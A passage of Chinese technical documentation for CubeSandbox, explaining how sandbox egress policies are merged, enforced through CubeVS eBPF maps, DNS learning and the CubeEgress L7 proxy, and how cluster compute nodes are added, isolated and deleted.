`rules` 列表。 ### 2. CubeMaster 与模板合并 如果模板里也带了 `CubeNetworkConfig`，CubeMaster 会把模板配置和用户请求配置合并： * `allowInternetAccess`：如果请求中显式设置，则覆盖模板值。 * `allowOut`：把请求列表追加到模板列表后，并按字符串去重。 * `denyOut`：把请求列表追加到模板列表后，并按字符串去重。 * `rules`：请求规则会排在模板规则之前。若两者包含相同的 `name`，由于规则列表采用 first-match-wins 机制，CubeEgress 会优先匹配请求规则；同名的模板规则不会被覆盖或删除，而是保留在合并后列表的后续位置。 合并后的 `CubeNetworkConfig` 会发给 Cubelet 内置 network runtime。内置 network runtime 抽取 L7 网络可达目标后，由 CubeVS 校验最终唯一 eBPF map key。 ### 3. Cubelet 内置 network runtime 提取 CubeVS 目标 Cubelet 内置 network runtime 收到 `CubeNetworkConfig` 后，会构造 CubeVS 的 `MVMOptions`： * `AllowInternetAccess`：未设置时默认 `true`。 * `AllowOut`：直接来自用户/模板合并后的 `allowOut`。 * `DenyOut`：直接来自用户/模板合并后的 `denyOut`。 * `L7AllowOut`：从每条 `rules[].match.sni` 和 `rules[].match.host` 中抽取。 L7 目标抽取规则： | 来源 | 处理方式 | | --- | --- | | `match.sni` | 只接受合法域名或 `*.` 通配域名；转小写，去掉尾部 `.`；不接受 IP。 | | `match.host` 为 `host:port` | 去掉端口，只保留 host。 | | `match.host` 为 IPv4 | 保留为 `/32` 形式的 IP 目标。 | | `match.host` 为 IPv4 CIDR | 保留 CIDR。 | | `match.host` 为域名或 `*.` 通配域名 | 规范化为小写域名目标。 | | 无效 host/SNI | 不作为 CubeVS 目标下发。 | 例如： ```python rules = [ Rule(match=Match(sni="API.Example.COM."), action=Action(allow=True)), Rule(match=Match(host="gateway.example.com:8443"), action=Action(allow=True)), Rule(match=Match(host="1.2.3.4:443"), action=Action(allow=True)), Rule(match=Match(host="10.1.2.3/8"), action=Action(allow=True)), ] ``` 会抽取出类似目标： ```text api.example.com gateway.example.com 1.2.3.4 10.0.0.0/8 ``` 这些目标和普通 `allow_out` 的区别是：它们会带上 `L7_REQUIRED` 标记。 ### 4. CubeVS map 写入 Cubelet 内置 network runtime 最终把不同来源写入不同 map： | 来源 | 写入位置 | 是否带 `L7_REQUIRED` | 作用 | | --- | --- | --- | --- | | `allow_out` IPv4/CIDR | `allow_out_v2[ifindex]` | 否 | 允许直接 L3/L4 出网。 | | `allow_out` 域名 | `dns_allow[ifindex]` | 否 | 跟踪匹配的 DNS A 查询，并把响应中的 A 记录临时学习到 `allow_out_v2`。要求同时设置 `allow_internet_access=false` 或显式 `deny_out=["0.0.0.0/0"]`，避免未学习 IP 被默认放行。 | | `rules[].match.host/sni` IPv4/CIDR | `allow_out_v2[ifindex]` | 是 | 允许访问该 IP/CIDR，并让 TCP/80、TCP/443 进入 CubeEgress。 | | `rules[].match.host/sni` 域名 | `dns_allow[ifindex]` | 是 | 跟踪匹配的 DNS A 查询并学习带 L7 标记的 IP；它本身不会影响无关 DNS 名称。 | | `deny_out` | `deny_out[ifindex]` | 不适用 | 拒绝匹配目的 IP/CIDR 的流量，除非先命中 allow。 | | 内置内部网段 | `deny_out[ifindex]` | 不适用 | 防止访问 Cube 内部基础设施。 | | `allow_internet_access=false` | `deny_out[ifindex]` | 不适用 | 写入 `0.0.0.0/0` deny-all。 | 如果同一个 IP/CIDR 既来自普通 `allow_out`，又来自 L7 规则，CubeVS 会保留 `L7_REQUIRED` 标记。静态 `allow_out` 条目不过期；DNS 学习出的条目带 `expires_at_ns`，会按 TTL 过期。 ## 更新运行中沙箱的策略 `PUT /sandboxes/{sandboxID}/network` 用于替换正在运行的沙箱的出站策略。请求体就是创建时那个 `network` 对象，且语义是**整体替换而不是增量打补丁**：没传的字段会被清空。 ```bash curl -X PUT "$CUBE_API/sandboxes/$SANDBOX_ID/network" \ -H 'Content-Type: application/json' \ -d '{"allowInternetAccess": false, "allowOut": ["api.example.com"], "denyOut": ["0.0.0.0/0"]}' ``` ::: warning 省略 `allowInternetAccess` 会恢复公网访问 「没传就清空」这条规则作用在这个开关上时比其他字段更容易踩到：清空意味着回到「未显式设置」，而它的默认值是允许出网，于是 `0.0.0.0/0` 的 deny-all 会被撤掉。也就是说，一个创建时带 `allow_internet_access=false` 的沙箱，只要有一次更新没有重新写上这个字段，就会重新能访问公网 —— 即使这次更新本来只想改 `allowOut`。（内置的内部网段保护仍然生效，恢复的只是公网出网。） 这里没有更省事的写法：`denyOut` 同样是没传就清空，所以改用显式的 `"denyOut": ["0.0.0.0/0"]` 也一样得每次都带上。要让沙箱保持隔离，每次更新都必须发送完整的期望策略，其中包括 `"allowInternetAccess": false`。 ::: 注意这里策略字段在**顶层**，而不是像创建沙箱那样嵌在 `network` 里。这是为了和 E2B 的更新接口一致，让按任一 SDK 写的客户端都能命中同一个线上格式；E2B 自己的创建接口和我们一样是嵌套的，所以这处不一致来自上游而非我们。`allowPublicTraffic` 和 `maskRequestHost` 是 CubeSandbox 扩展，E2B 的更新 schema 里没有。 `rules` 两种形状都接受：CubeEgress 的规则数组，或 E2B 的 `{host: [{transform: {headers: {...}}}]}` 映射。数组是规范形式，因为 E2B 的映射表达不了拒绝判决、审计级别，以及除 host 之外的任何匹配条件 —— 把我们的规则塞成那个形状会静默丢掉它们。E2B 的映射会被转换成等价的放行加注入规则，命名为 `e2b-transform-<host>`。 各 SDK 分别暴露为 `sandbox.update_network(...)`（Python）、`sandbox.updateNetwork(...)`（Node）和 `sandbox.UpdateNetwork(...)`（Go），三者都把整份策略作为**一个对象**传入、`allow_internet_access` 包含在其中 —— 和 E2B 的 `update_network` 形状一致。 ### 已经建立的连接会怎样 和单纯重写 map 不同，更新也会作用到已有流量。每个沙箱带一个策略代际（`mvm_meta.policy_version`），在 CubeEgress 和 CubeVS map 都写入新策略之后才递增。每条 session 会缓存自己被放行时的代际，因此每次更新后，存量流的下一个包会被重新判定一次，且只判定一次： * **仍然放行且判决不变** —— session 被重新盖上新代际后照常继续。这是常见情况，每条流每次更新只多付一次策略查表。 * **不再放行，或判决发生变化**（例如某个 host 在普通 SNAT 和 L7 代理之间切换）—— session 立即作废：出入两个方向的连接跟踪记录都被删掉，因此回包不再投递，该 4 元组也立刻空出来可供重连。TCP 会收到 RST，与这里对其他所有不可达 TCP 报文的处理方式一致，让 guest 立即失败而不是卡在重传上；UDP 和 ICMP 没有可 reset 的东西，直接丢弃。 判决发生变化时选择作废而不是迁移这条流，是因为 SNAT 路径和 L7 路径对回包元组、以及由谁来终结这条 TCP 连接这两件事的理解并不一致。随后的重连会像任何新流一样按新策略判定。 重判是由流量驱动的，不是主动推送的：一条空闲的存量连接要等沙箱下一次在它上面发包时才会被判定。因此一条打开但一直不说话的连接会留在 session 表里，直到它再次发包或按正常超时被回收。 有两点需要提前规划： * **已经学到的 DNS IP 会比产生它的域名规则活得更久。** 从 `allow_out` 里删掉一个域名后，新的 IP 会立刻停止被学习，但此前已为它学到的 IP 会一直放行到 DNS TTL 过期。要想及时收回对某个域名的访问，需要配合 `allow_internet_access=false` 的策略和较短的解析 TTL。 * **更新在多个平面之间不是事务性的。** 先更新 CubeEgress，再更新 CubeVS，最后才写持久化状态，因此中途失败时沙箱所处的状态不会比「新旧策略的并集」更宽松。重放同一个请求即可收敛；Cubelet 重启后会重新应用最后一次成功持久化的策略。 ## `from_cube` 如何判断和转发 `from_cube` 是挂在沙箱 TAP ingress 上的 TC eBPF 程序。每个沙箱发出的包都会先进入这里。处理顺序可以理解为下面几个阶段。 ```mermaid flowchart TD A[Packet from sandbox TAP] --> B{IPv4?} B -->|No, ARP| C[ARP proxy reply] B -->|No, other| X[Drop] B -->|Yes| D[Lookup sandbox metadata] D --> E{Destination is sandbox gateway?} E -->|Yes| F[Internal cube-dev path] E -->|No| G{Local port mapping?} G -->|Yes| H[SNAT to host mapped port and redirect host NIC] G -->|No| I[Check allow_out_v2 then deny_out] I -->|Denied TCP| J[Send TCP RST back to sandbox] I -->|Denied non-TCP| K[Drop] I -->|Allowed| L{TCP + L7_REQUIRED + port 80/443?} L -->|Yes| M[Redirect original packet to cube-dev ingress] L -->|No| N{UDP DNS query?} N -->|Yes| O[DNS allow-list check] O --> P[UDP NAT] N -->|No| Q[TCP/UDP/ICMP NAT] P --> R[Redirect host NIC] Q --> R ``` ### 1. 非 IPv4 和 ARP CubeVS 主要处理 IPv4 出网。ARP 请求会由 eBPF 直接构造 ARP reply，使沙箱认为网关存在。其他非 IPv4 包会被丢弃。 ### 2. 访问沙箱网关 / cube-dev 如果目的地址是沙箱网关 `169.254.68.5`，这是内部到 `cube-dev` 的路径，不按普通公网出站策略处理。当前逻辑只允许： * ICMP。 * TCP 非 SYN 包。 TCP SYN 和其他协议会被丢弃。允许的内部包会被 DNAT 到 `cubegw0_ip`，再重定向到 `cube-dev`。 ### 3. 本地端口映射优化 对 TCP 流量，`from_cube` 会检查 `local_port_mapping`。如果沙箱源端口对应某个宿主机端口映射，CubeVS 会执行端口 SNAT 并直接重定向到宿主机网卡。这是端口映射场景的优化路径。 ### 4. 出站网络策略 普通外部流量进入 `check_net_policy`： 1. 用目的 IP 在 `allow_out_v2[ifindex]` 中做 LPM 查找。 * 命中且未过期：允许。 * 如果 value 中有 `NET_POLICY_FLAG_L7_REQUIRED`，后续 TCP/80、TCP/443 会进代理。 2. 未命中 allow 时，用目的 IP 在 `deny_out[ifindex]` 中做 LPM 查找。 * 命中：拒绝。 3. allow/deny 都没命中：默认允许。 对于被拒绝的包： * TCP：CubeVS 会尽量原地构造一个 TCP RST 回给沙箱，所以用户态通常看到的是 `Connection refused` 或连接立即失败，而不是长时间 timeout。 * UDP/ICMP：直接丢弃。 ::: tip TCP 非 SYN 无 session 的处理 对 TCP 出站 NAT 来说，只有 `SYN && !ACK && !FIN && !RST` 的首包才能创建新 session。后续 TCP 包必须能在 `egress_sessions` 中查到已有 session。若沙箱发出一个非 SYN 的 TCP 包但没有 session，CubeVS 会返回 TCP RST，而不是为它新建连接。 这个逻辑发生在 `from_cube` 方向。`from_world` 方向只对已有 `ingress_sessions` 做回包反向 NAT，没有命中的包通常放行给内核继续处理，而不是执行出站策略拒绝。 ::: ### 5. L7 代理路径 当一个 TCP 包满足下面条件时，CubeVS 不会做普通 SNAT 出网，而是把原始包重定向到 `cube-dev` ingress： * 命中了 `allow_out_v2`。 * 命中的 value 带 `L7_REQUIRED` 标记。 * 目的端口是 TCP `80` 或 `443`。 随后宿主机 TPROXY 规则会按 `iif cube-dev + dport 80/443` 匹配，把连接交给 CubeEgress。CubeEgress 再根据完整 `rules` 判断 `scheme`、`sni`、`host`、`method`、`path`、`action`、`audit`、`inject`。 ### 6. 普通 NAT/session 路径 不需要 L7 的 TCP/UDP/ICMP 会走 CubeVS NAT/session： * TCP：只有 SYN 首包创建 session；后续包更新 TCP conntrack 状态。 * UDP：首个出站包创建 `UNREPLIED` session，收到回包后进入 `REPLIED`。 * ICMP：只处理 Echo Request，identifier 用作类似端口的 session key。 SNAT 会把沙箱内部源地址 `169.254.68.6` 改写为宿主机可路由的 SNAT IP，并分配动态源端口，然后重定向到宿主机网卡。 ## DNS 域名 allow-list 和学习 域名策略是这套机制里最容易误解的部分。CubeVS 并不是直接“允许域名”，因为真实数据包只有目的 IP。它的做法是：**跟踪已配置域名的 DNS A 查询，再把匹配响应中的 A 记录学习成临时 IP allow 条目**。没有配置的域名不会在 DNS 阶段被拦截；它们只是不会创建学习到的 IP allow 条目。 ### DNS allow map 的结构 每个沙箱有一个 `dns_allow[ifindex]` inner map。它是 LPM trie，key 是反转后的域名： | 配置 | 反转 key 思路 | 匹配语义 | | --- | --- | --- | | `example.com` | `moc.elpmaxe\0` | 精确匹配 `example.com`。 | | `*.example.com` | `moc.elpmaxe.` | 匹配子域，例如 `api.example.com`，不匹配 `example.com`。 | `dns_allow` 只存域名规则和规则自身的标记，例如 `L7_REQUIRED`。沙箱级 DNS policy mode 存放在 `ifindex_to_mvmmeta[].dns_policy_flags` 中： | 模式 | 域名来源 | 查询行为 | 学习行为 | | --- | --- | --- | --- | | Off | `allow_out` 和 L7 rules 都没有域名 | DNS 按普通 UDP 出站。 | 不进行 DNS 响应学习。 | | Track | 至少有一个 `allow_out` 域名或 L7 rules 域名 | 所有域名都放行；只跟踪命中的已配置域名。 | 命中的 A 记录会学习到 `allow_out_v2`，并保留 L7 标记。 | `allow_out` 域名和 L7 rule 域名都会开启 DNS 学习。两者都不会把 DNS 本身变成 allow-list，CubeVS 也不再为未命中的域名返回合成 NXDOMAIN。 ### DNS 查询阶段 当沙箱发出 UDP/53 查询时，`from_cube` 会尝试解析 DNS payload： 1. 只处理标准、格式正确的 IN A 查询。 2. 解析 QNAME，转成小写，再反转成 LPM trie key。 3. 如果模式为 Off，走普通 UDP NAT。 4. CubeVS 用反转后的 QNAME 匹配域名规则。 5. 如果域名未命中，查询正常走 UDP NAT，但不会创建 pending learning entry。 6. 如果域名匹配，CubeVS 会在 `dns_query_track` 写入一个 pending query，key 包含： * sandbox ifindex * DNS server IP * UDP 源端口 * DNS ID * QNAME hash 7. pending query 的生命周期是 `10` 秒。 8. 查询本身继续走 UDP NAT 发往真实 DNS server。 因此，无关域名的 DNS 解析在普通 UDP 出网可用时仍会成功。在严格域名 allow-list 配置下，无关目标的失败点在后续 IP 连接阶段：由于没有 DNS 学习出的 allow 条目，目的 IP 会被 deny-all 兜底拒绝。 ### DNS 响应阶段 DNS 响应从外部回来时，先进入宿主机网卡上的 `from_world`： 1. `from_world` 通过 `ingress_sessions` 找到对应 UDP session。 2. 如果这是 DNS server 端口 `53` 的响应，会先调用 DNS 响应学习逻辑。 3. 只有 `ifindex_to_mvmmeta[].dns_policy_flags` 带 learning flag 时才执行学习，并且响应必须匹配之前 `dns_query_track` 中的 pending query。 4. 只学习 IPv4 A 记录；AAAA / IPv6 不会写入 `allow_out_v2`。 5. 最多处理响应中的前 `8` 个 answer。 6. 学到的 IP 以 `/32` 写入 `allow_out_v2[ifindex]`，`expires_at_ns` 按 DNS TTL 计算。 7. 如果原 DNS allow 规则带 `L7_REQUIRED`，学习出的 IP 也继承这个标记。 8. 学习完成或失败后，pending query 会被删除。 9. 响应包继续做反向 NAT，返回沙箱。 如果同一个 IP 已经是静态 `allow_out`，DNS 学习不会把它变成会过期的临时条目；静态条目会保持不过期，同时合并 flags。 ### DNS 回收 Cubelet 内置 network runtime / CubeVS 用户态侧有 reaper 定期扫描： * `allow_out_v2`：删除已经过期的 DNS-learned 临时条目。 * `dns_query_track`：删除超过 `10` 秒仍未收到响应的 pending query。 因此，如果域名 DNS TTL 很短，对应 IP allow 也会较快过期；下一次访问前需要再次 DNS 查询并学习。 ::: warning 当前只学习 IPv4 A 记录 动态域名授权路径当前只学习 IPv4 A 记录。IPv6 / AAAA 响应不会进入 `allow_out_v2`，`deny_out` 也仍然是 IPv4/IP-CIDR 策略。 ::: ## 哪些流量会进入 CubeEgress CubeEgress 并不会看到所有出站包。进入 CubeEgress 必须同时满足“网络目标来自 L7 规则”和“端口是 HTTP/HTTPS 透明代理端口”。 | 流量 | 是否进入 CubeEgress | 原因 | | --- | --- | --- | | TCP 目的端口 `80`，目的 IP 命中带 `L7_REQUIRED` 的 `allow_out_v2` | 是 | HTTP 需要由 CubeEgress 执行完整 `rules`。 | | TCP 目的端口 `443`，目的 IP 命中带 `L7_REQUIRED` 的 `allow_out_v2` | 是 | HTTPS 需要由 CubeEgress 根据 SNI/Host 等执行规则。 | | TCP `80/443`，但目的 IP 只来自普通 `allow_out`，没有 L7 标记 | 否 | 只做 L3/L4 放行和 NAT。 | | TCP 非 `80/443`，即使命中 L7 目标 | 否 | CubeEgress 是 HTTP/HTTPS 透明代理，目前只接管 80/443。 | | UDP/53 DNS 查询 | 否 | 由 CubeVS DNS 学习逻辑处理。 | | UDP、ICMP、其他 TCP 端口 | 否 | 走 CubeVS NAT/session。 | | 命中 `deny_out` 且没有先命中 allow 的流量 | 否 | 在 CubeVS 侧拒绝。 | | `from_world` 回包 | 否 | 回包方向按 session 做反向 NAT，不做 L7 代理入口判断。 | 举例： ```python rules = [ Rule( name="allow_api", match=Match(scheme="https", sni="api.example.com", host="api.example.com"), action=Action(allow=True), ) ] ``` 这条规则会让 `api.example.com` 被写入 `dns_allow`，并带上 `L7_REQUIRED`。沙箱访问时流程是： 1. 沙箱查询 `api.example.com` 的 A 记录。 2. CubeVS 允许 DNS 查询，并记录 pending query。 3. DNS 响应回来，CubeVS 学习 A 记录，例如 `203.0.113.10/32`，并打上 `L7_REQUIRED`。 4. 沙箱连接 `203.0.113.10:443`。 5. `from_cube` 命中带 L7 标记的 `allow_out_v2` 条目，重定向到 `cube-dev`。 6. TPROXY 把连接交给 CubeEgress。 7. CubeEgress 检查完整规则，决定 allow/deny/audit/inject。 ## 常见配置示例 ### 示例 1：完全禁止公网 适合纯离线代码执行、数据处理等场景： ```python from cubesandbox import Sandbox with Sandbox.create( template="tpl_xxx", allow_internet_access=False, ) as sb: result = sb.commands.run("curl -m 2 https://example.com") print(result.stderr) ``` 效果： * CubeVS 安装 `0.0.0.0/0` deny-all。 * 没有显式 `allow_out` 或 L7 目标时，普通外部访问都会被拒绝。 * TCP 通常快速收到 RST；UDP/ICMP 通常被 drop。 ### 示例 2：只允许访问固定 IP/CIDR 适合只允许访问固定出口服务、内网服务或指定 DNS server 的场景： ```python from cubesandbox import Sandbox with Sandbox.create( template="tpl_xxx", allow_internet_access=False, network={ "allow_out": [ "1.1.1.1/32", "203.0.113.0/24", ], }, ) as sb: sb.commands.run("curl http://1.1.1.1") ``` 效果： * `1.1.1.1/32` 和 `203.0.113.0/24` 写入 `allow_out_v2`。 * `0.0.0.0/0` 在 `deny_out` 中作为兜底拒绝。 * allow 优先级高于 deny，所以这两个目标仍然可访问。 ### 示例 3：默认允许公网，但拒绝敏感地址段 适合保留一般公网访问，同时阻断元数据地址或敏感内网： ```python from cubesandbox import Sandbox with Sandbox.create( template="tpl_xxx", allow_internet_access=True, network={ "deny_out": [ "169.254.169.254/32", "10.0.0.0/8", ], }, ) as sb: sb.commands.run("curl https://example.com") ``` 效果： * 未命中 deny 的公网目标默认允许。 * 命中 `deny_out` 的目标被拒绝。 * 如果某个目标同时也被 `allow_out` 放行，则 allow 优先。 ### 示例 4：只允许访问指定域名 适合“只允许访问某几个域名，但不做 HTTP 请求级检查”的场景： ```python from cubesandbox import Sandbox with Sandbox.create( template="tpl_xxx", allow_internet_access=False, network={ "allow_out": [ "api.github.com", "*.example.com", ], }, ) as sb: sb.commands.run("curl https://api.github.com") ``` 效果： * `api.github.com` 和 `*.example.com` 写入 `dns_allow`。 * 允许匹配域名的 DNS A 查询。 * DNS 响应中的 A 记录临时写入 `allow_out_v2`。 * 后续到这些 IP 的 TCP/443 直接 NAT 出网，不进入 CubeEgress，因为普通 `allow_out` 没有 L7 标记。 注意：如果应用跳过 DNS，直接访问域名当前解析出的 IP，而该 IP 尚未通过沙箱 DNS 查询被学习，严格 allow-list 下会被 deny-all 拒绝。 ### 示例 5：使用 L7 规则限制 HTTP 方法和路径 适合只允许调用某个 API 的特定路径： ```python from cubesandbox import Sandbox, Rule, Match, Action rules = [ Rule( name="allow_deepseek_chat", match=Match( scheme="https", sni="api.deepseek.com", host="api.deepseek.com", method=["POST"], path="/v1/*", ), action=Action(allow=True, audit="metadata"), ), ] with Sandbox.create( template="tpl_xxx", allow_internet_access=False, network={"rules": rules}, ) as sb: sb.commands.run("curl -s https://api.deepseek.com/v1/chat/completions") ``` 效果： * `api.deepseek.com` 从 `sni` / `host` 中被抽取为 L7 allow target。 * DNS A 记录学习到的 IP 带 `L7_REQUIRED`。 * TCP/443 进入 CubeEgress。 * CubeEgress 执行 `scheme`、`sni`、`host`、`method`、`path` 的完整匹配。 ### 示例 6：L7 deny 返回请求级 403 如果希望对某类 HTTP/HTTPS 请求返回明确的请求级拒绝，而不是网络层 drop，可以写 deny 规则： ```python from cubesandbox import Sandbox, Rule, Match, Action rules = [ Rule( name="deny_example_subdomains", match=Match(scheme="https", sni="*.example.net"), action=Action(allow=False, audit="metadata"), ), ] with Sandbox.create( template="tpl_xxx", allow_internet_access=False, network={"rules": rules}, ) as sb: sb.commands.run("curl -i https://api.example.net") ``` 效果： * 虽然 `action.allow=False`，但 `*.example.net` 仍会作为 L7 target 下发给 CubeVS。 * 这样 TCP/443 能进入 CubeEgress。 * CubeEgress 匹配 deny 规则后返回请求级 403，并记录审计信息。 如果不把目标送入 CubeEgress，底层网络策略只能 drop/RST，无法产生 HTTP 403。 ### 示例 7：混合 L3 allow 和 L7 rules ```python from cubesandbox import Sandbox, Rule, Match, Action rules = [ Rule( name="allow_payment_api", match=Match( scheme="https", sni="pay.example.com", host="pay.example.com", method=["POST"], path="/api/payments/*", ), action=Action(allow=True, audit="full"), ), ] with Sandbox.create( template="tpl_xxx", allow_internet_access=False, network={ "allow_out": [ "1.1.1.1/32", # e.g. DNS resolver or fixed service "downloads.example.com", ], "deny_out": ["203.0.113.0/24"], "rules": rules, }, ) as sb: sb.commands.run("curl https://pay.example.com/api/payments/create") ``` 效果： * `1.1.1.1/32` 静态放行，不进 CubeEgress。 * `downloads.example.com` 通过 DNS 学习后放行，不进 CubeEgress。 * `pay.example.com` 通过 DNS 学习后带 `L7_REQUIRED`，TCP/443 进 CubeEgress。 * `203.0.113.0/24` 会被拒绝，除非某个具体 IP 同时先命中了 allow。 ## 行为速查表 | 配置 | 目标 | 结果 | | --- | --- | --- | | `allow_internet_access=True`，无 `allow_out`/`deny_out`/`rules` | 普通公网 IP | 默认允许，走 NAT。 | | `allow_internet_access=False`，无 allow | 任意公网 IP | 被 `0.0.0.0/0` 拒绝。TCP RST，非 TCP drop。 | | `allow_internet_access=False` + `allow_out=["1.1.1.1"]` | `1.1.1.1` | 允许，走 NAT。 | | `allow_internet_access=False` + `allow_out=["api.example.com"]` | 先 DNS，再访问学习到的 IP | DNS A 响应学习后允许，走 NAT。 | | `allow_internet_access=False` + `rules` 中有 `sni="api.example.com"` | `api.example.com:443` | DNS 学习出的 IP 带 L7 标记，TCP/443 进入 CubeEgress。 | | `rules` 只写 `path="/v1/*"`，没有 `host`/`sni` | 严格 allow-list | 可能到不了 CubeEgress，因为 CubeVS 没有网络目标可放行。 | | `deny_out=["203.0.113.0/24"]` | `203.0.113.10` | 若未先命中 allow，则拒绝。 | | `allow_out=["203.0.113.10"]` + `deny_out=["203.0.113.0/24"]` | `203.0.113.10` | allow 优先，允许。 | | `allow_out=["*.example.com"]` | `example.com` | 不匹配。 | | `allow_out=["*.example.com"]` | `api.example.com` | 匹配。 | ## 观测与排障 ### 查看 CubeVS map `cubevsmapdump` 是宿主机侧查看 CubeVS 业务 map 的工具。发布/安装包会把它安装到正常命令路径中，部署节点上直接使用即可： ```bash sudo cubevsmapdump --list-maps sudo cubevsmapdump --map dns_allow,dns_query_track,allow_out_v2,deny_out sudo cubevsmapdump --ifindex tapxxx --map dns_allow,allow_out_v2,deny_out ``` 常用字段： | 字段 | 含义 | | --- | --- | | `ifindex_to_mvmmeta[].dns_policy_flags` | 沙箱级 DNS policy mode 的原始 flags。 | | `ifindex_to_mvmmeta[].dns_learning_enabled` | 表示当前沙箱是否启用 DNS 响应学习。 | | `dns_allow[].rules[].domain` | 当前沙箱安装的域名策略规则。 | | `dns_allow[].rules[].l7_required` | 这个域名学习出的 IP 后续是否需要进入 CubeEgress。 | | `dns_allow[].enabled` / `learning_enabled` / `flags` | 兼容展示字段，数据来自 `ifindex_to_mvmmeta`，不是 `dns_allow` 中存储的条目。 | | `dns_query_track` | 当前正在等待响应的 DNS 查询，通常生命周期很短。 | | `allow_out_v2[].entries[].expires_at_ns` / `expires_in` | `0` 或空表示静态 allow；非零表示 DNS 学习出的临时条目。 | | `allow_out_v2[].entries[].l7_required` | 访问该 IP 的 TCP/80、TCP/443 是否进入 CubeEgress。 | | `deny_out` | 当前沙箱的 deny CIDR，包括用户配置、内置内部网段或 deny-all。 | ### 查看服务状态 ```bash sudo systemctl status cube-sandbox-cubelet.service sudo systemctl status cube-sandbox-cube-egress.service sudo systemctl restart cube-sandbox-compute.target ``` --- --- url: https://cubesandbox.com/zh/guide/node-operations.md --- # 节点相关操作 本页说明 CubeSandbox 集群的三类主要计算节点操作：增加节点、隔离节点和删除节点。 日常节点管理可以使用控制节点上的 `cubeopscli` 或 WebUI 节点详情页。以下示例默认 CubeOps 地址为 `127.0.0.1:3010`；多机部署时请替换为控制面 IP。 操作前后可以通过以下命令确认节点 ID 和当前状态： ```bash cubeopscli node list # 查询单个节点 cubeopscli node list --hostid <node_id> ``` ## 增加节点 增加计算节点的过程是安装计算面组件，并让 Cubelet 向 CubeOps 注册。系统没有单独的 `node add` 命令；计算节点服务启动后会自动完成注册。 ### 前置条件 * 已有使用相同 CubeSandbox 发布包安装的可用控制节点。 * 计算节点满足硬件和软件要求。 * 计算节点可以访问 CubeOps 的 `3010` 端口。 * 计算节点可以访问集群的 S3 兼容存储。使用内置 MinIO 时，需要能够访问控制节点的 `9000` 端口。 ### 操作步骤 1. 将控制节点使用的同一份发布包复制到计算节点并解压。 2. 复制环境配置模板，然后设置计算节点角色、节点 IP 和控制面地址： ```bash cp env.example .env ONE_CLICK_DEPLOY_ROLE=compute CUBE_SANDBOX_NODE_IP=<当前节点IP> ONE_CLICK_CONTROL_PLANE_IP=<控制面IP> ``` 3. （可选但强烈建议）从控制节点复制 `CUBE_S3_*` 到本机 `.env`： ```bash # 在控制节点执行，把输出拷贝到计算节点 .env grep '^CUBE_S3_' /usr/local/services/cubetoolbox/.one-click.env ``` 也可指向其他共享的 S3 兼容存储。缺失时仅告警并继续安装，但 S3 卷插件不可用，安装结束时会再次提醒。 4. 安装计算节点： ```bash sudo ./install-compute.sh ``` 5. 检查本地服务： ```bash sudo ./quickcheck.sh ``` 6. 在控制节点确认新节点已经注册并处于健康状态： ```bash cubeopscli node list ``` 7. 将需要的模板分发到新节点。根据模板状态和部署方式，可对目标节点执行 template redo，或者重新构建模板。 完整的环境变量、安装行为、调度配置和故障排查请参阅[多机集群部署](./multi-node-deploy.md)。 ## 隔离节点 隔离会临时阻止 CubeMaster 向指定计算节点调度新沙箱，行为类似 Kubernetes `cordon`：节点仍可保持健康，已有沙箱继续运行。 | 维度 | 隔离后的行为 | | --- | --- | | 新沙箱调度 | 不再选择该节点；如果没有其他可调度节点，创建会失败。 | | 已有沙箱 | 不受影响，不会自动销毁或迁移。 | | 节点健康状态 | 与隔离相互独立，隔离节点仍可显示 `healthy=true`。 | | Cubelet 心跳 | 继续正常，节点侧不能自行清除隔离状态。 | CubeOps 使用以下保留 label 记录隔离状态： ```text cube.cloud.tencentcloud.com/scheduling-disabled=true ``` 普通 labels API 和 Cubelet 注册都不能设置或清除该 label。 ::: warning 隔离不等于清空节点 隔离不会驱逐已有沙箱。执行会中断进程或网络的维护操作前，需要先隔离节点，再主动销毁该节点上的沙箱。 ::: ### 隔离 ```bash # 隔离单个节点 cubeopscli node isolate <node_id> # 隔离多个节点 cubeopscli node isolate <node_id_1> <node_id_2> ``` 隔离操作是幂等的。执行成功后，确认 `SCHEDULING_DISABLED` 为 `true`： ```bash cubeopscli node list ``` 进行破坏性维护前，建议至少等待 60 秒，让正在进行的调度和创建窗口结束。 自动化场景可以使用带 JWT 的 CubeOps API： ```bash curl -X PUT "http://127.0.0.1:3010/api/v1/nodes/<node_id>/isolation" \ -H "Authorization: Bearer $TOKEN" ``` ### 取消隔离 维护完成后，允许节点重新接收新沙箱： ```bash cubeopscli node unisolate <node_id> ``` 也可以使用 API： ```bash curl -X DELETE "http://127.0.0.1:3010/api/v1/nodes/<node_id>/isolation" \ -H "Authorization: Bearer $TOKEN" ``` 节点重新投入使用前，确认 `SCHEDULING_DISABLED` 已变为 `false`。 Kubernetes 计算面升级时，请在隔离并清空节点后继续参考 [Kubernetes 升级](./kubernetes/upgrade.md)。 ## 删除节点 删除节点会从 CubeOps 移除节点注册信息、状态、组件版本元数据和指标缓存。它不会停止节点进程、销毁沙箱、删除磁盘或删除 Kubernetes Node 对象。 ::: warning 删除前必须隔离并清空节点 CubeOps 只允许删除已经隔离且没有沙箱的节点。删除操作本身不会隔离节点，也不会销毁节点上的负载。 ::: ### 推荐顺序 1. 隔离目标节点。 2. 等待至少 60 秒，让正在进行的调度结束。 3. 销毁该节点上的全部沙箱。 4. 停止或退役 Cubelet，避免节点立即重新注册。 5. 删除节点记录。 6. 确认节点已从列表中消失。 ### 使用 cubeopscli 删除 ```bash # 删除单个节点 cubeopscli node rm <node_id> # rm 是 delete 的别名；支持一次删除多个节点 cubeopscli node delete <node_id_1> <node_id_2> ``` 批量删除会依次尝试所有节点。某个节点失败不会阻止后续操作，命令结束时会返回错误并列出失败节点。 如果计算节点不可达，CubeOps 无法校验其沙箱清单，可以使用强制删除： ```bash cubeopscli node rm --force <node_id> ``` `--force` 只跳过沙箱清单校验，目标节点仍然必须处于隔离状态。 ### 使用内部 API 删除 ```bash curl -X DELETE "http://127.0.0.1:3010/internal/v1/nodes/<node_id>" # 节点不可达时跳过沙箱清单校验 curl -X DELETE "http://127.0.0.1:3010/internal/v1/nodes/<node_id>?force=true" ``` 常见错误包括： * `404 Not Found`：节点不存在。 * `409 Conflict`：节点未隔离，或者仍有沙箱。 * `502 Bad Gateway`：CubeMaster 无法校验沙箱清单；请恢复连接或明确使用强制删除。 删除不是永久禁止注册。如果 Cubelet 仍在运行或再次启动，它可以使用相同节点 ID 重新注册为新节点记录。 ## 相关文档 * [多机集群部署](./multi-node-deploy.md) * [CubeMaster 调度器配置](./cubemaster-scheduler-config.md) * [服务管理与日志](./service-management.md) * [Kubernetes 升级](./kubernetes/upgrade.md) --- --- url: 